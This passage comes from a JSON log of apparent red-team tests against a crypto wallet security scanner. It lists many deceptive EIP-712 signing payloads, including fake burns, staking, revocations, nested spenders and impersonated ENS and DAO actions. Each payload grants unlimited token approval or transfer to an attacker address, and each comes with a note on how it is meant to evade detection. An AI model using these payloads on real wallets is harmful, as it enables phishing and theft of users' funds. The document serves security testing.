Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:38:03.075Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:38:12.615Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:38:22.152Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:38:31.704Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:38:41.259Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:38:50.808Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:39:00.351Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN32-EIP3009-022", "timestamp": "2026-01-31T17:39:09.911Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x65c749de6a5ffc1aebff3aee036f2410c99625e4addd01b39b2148b00644d232\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN32-EIP3009-054", "timestamp": "2026-01-31T17:39:19.468Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3d72e8f7b95d9d6fd2ee477c90a9ec4910102b12a6fe43188304419f89b4407c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:39:29.026Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:39:38.584Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:39:48.133Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:39:57.684Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:40:07.231Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:40:16.789Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:40:26.341Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:40:35.905Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:40:45.442Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:40:54.993Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 